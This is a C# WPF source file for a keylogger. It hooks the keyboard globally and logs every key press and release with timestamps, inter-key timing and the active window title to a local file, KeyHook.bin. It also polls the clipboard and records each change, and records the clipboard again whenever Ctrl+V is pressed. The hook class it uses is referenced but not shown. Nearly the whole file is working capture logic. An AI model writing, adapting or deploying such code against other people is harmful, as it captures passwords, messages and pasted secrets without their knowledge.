﻿using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows;
using System.Windows.Forms;
using Clipboard = System.Windows.Clipboard;
using Path = System.IO.Path;

namespace PublicKeyHook
{
    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        private KeyboardHook _hook;
        private FileStream _file;
        private StreamWriter _streamWriter;
        private Stopwatch _keyWatch;

        private bool _keyCtrlIsDown;
        private string _clipOldText;

        private Thread _ClipChanngeThread;

        public MainWindow()
        {
            InitializeComponent();

            _ClipChanngeThread=new Thread(ClipChanngeCallback)
            {
                ApartmentState = ApartmentState.STA,
                IsBackground=true,
            };
            _ClipChanngeThread.Start();
            _keyCtrlIsDown = false;

            string filePath = Path.Combine(Path.GetDirectoryName(typeof(MainWindow).Assembly.Location), "KeyHook.bin");
            if (File.Exists(filePath))
            {
                File.SetAttributes(filePath, FileAttributes.Normal);
                File.Delete(filePath);
            }

            _keyWatch = new Stopwatch();
            _file = new FileStream(filePath, FileMode.CreateNew, FileAccess.Write);
            _streamWriter = new StreamWriter(_file);

            _hook = new KeyboardHook();
            _hook.OnKeyDown += _hook_OnKeyDown;
            _hook.OnKeyUp += _hook_OnKeyUp;
            _hook.InstallHook();
        }

        private void ClipChanngeCallback(object std)
        {
            _clipOldText = Clipboard.GetText();
            while (true)
            {
                try
                {
                    string newText = Clipboard.GetText();
                    if (_clipOldText != newText)
                    {
                        _streamWriter.WriteLine($"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] - [Null] - [{_keyWatch.ElapsedMilliseconds:D9}] - [Clipboard]: {newText}");
                        _streamWriter.Flush();
                        _clipOldText = newText;
                    }
                }
                finally
                {
                    _ClipChanngeThread.Join(1000);
                }

            }
        }

        protected override void OnClosing(CancelEventArgs e)
        {
            base.OnClosing(e);
            _hook.UnInstallHook();
            _streamWriter.Flush();
            _streamWriter.Close();
            _file.Close();
            _file.Dispose();
        }

        private void _hook_OnKeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
        {
            var activeWindowName = (string) sender;
            _streamWriter.WriteLine($"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] - [{activeWindowName}] - [{_keyWatch.ElapsedMilliseconds:D9}] - [Down]: {e.KeyCode}");
            _streamWriter.Flush();
            if (_keyWatch.IsRunning)
                _keyWatch.Reset();
            else
                _keyWatch.Start();

            //判断Ctrl是否按下
            if (e.KeyCode == Keys.Control || e.KeyCode == Keys.ControlKey || e.KeyCode == Keys.LControlKey ||
                e.KeyCode == Keys.RControlKey)
            {
                _keyCtrlIsDown = true;
            }
            //判断是否Ctrl+V
            if (e.KeyCode == Keys.V && _keyCtrlIsDown)
            {
                _streamWriter.WriteLine($"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] - [{activeWindowName}] - [{_keyWatch.ElapsedMilliseconds:D9}] - [Clipboard]: {Clipboard.GetText()}");
                _streamWriter.Flush();
            }

            

        }

        private void _hook_OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
        {
            var activeWindowName = (string)sender;
            _streamWriter.WriteLine($"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] - [{activeWindowName}] - [{_keyWatch.ElapsedMilliseconds:D9}] - [ Up ]: {e.KeyCode}");
            _streamWriter.Flush();
            _keyWatch.Reset();

            if (e.KeyCode == Keys.Control || e.KeyCode == Keys.ControlKey || e.KeyCode == Keys.LControlKey ||
                e.KeyCode == Keys.RControlKey)
            {
                _keyCtrlIsDown = false;
            }
        }
    }
}
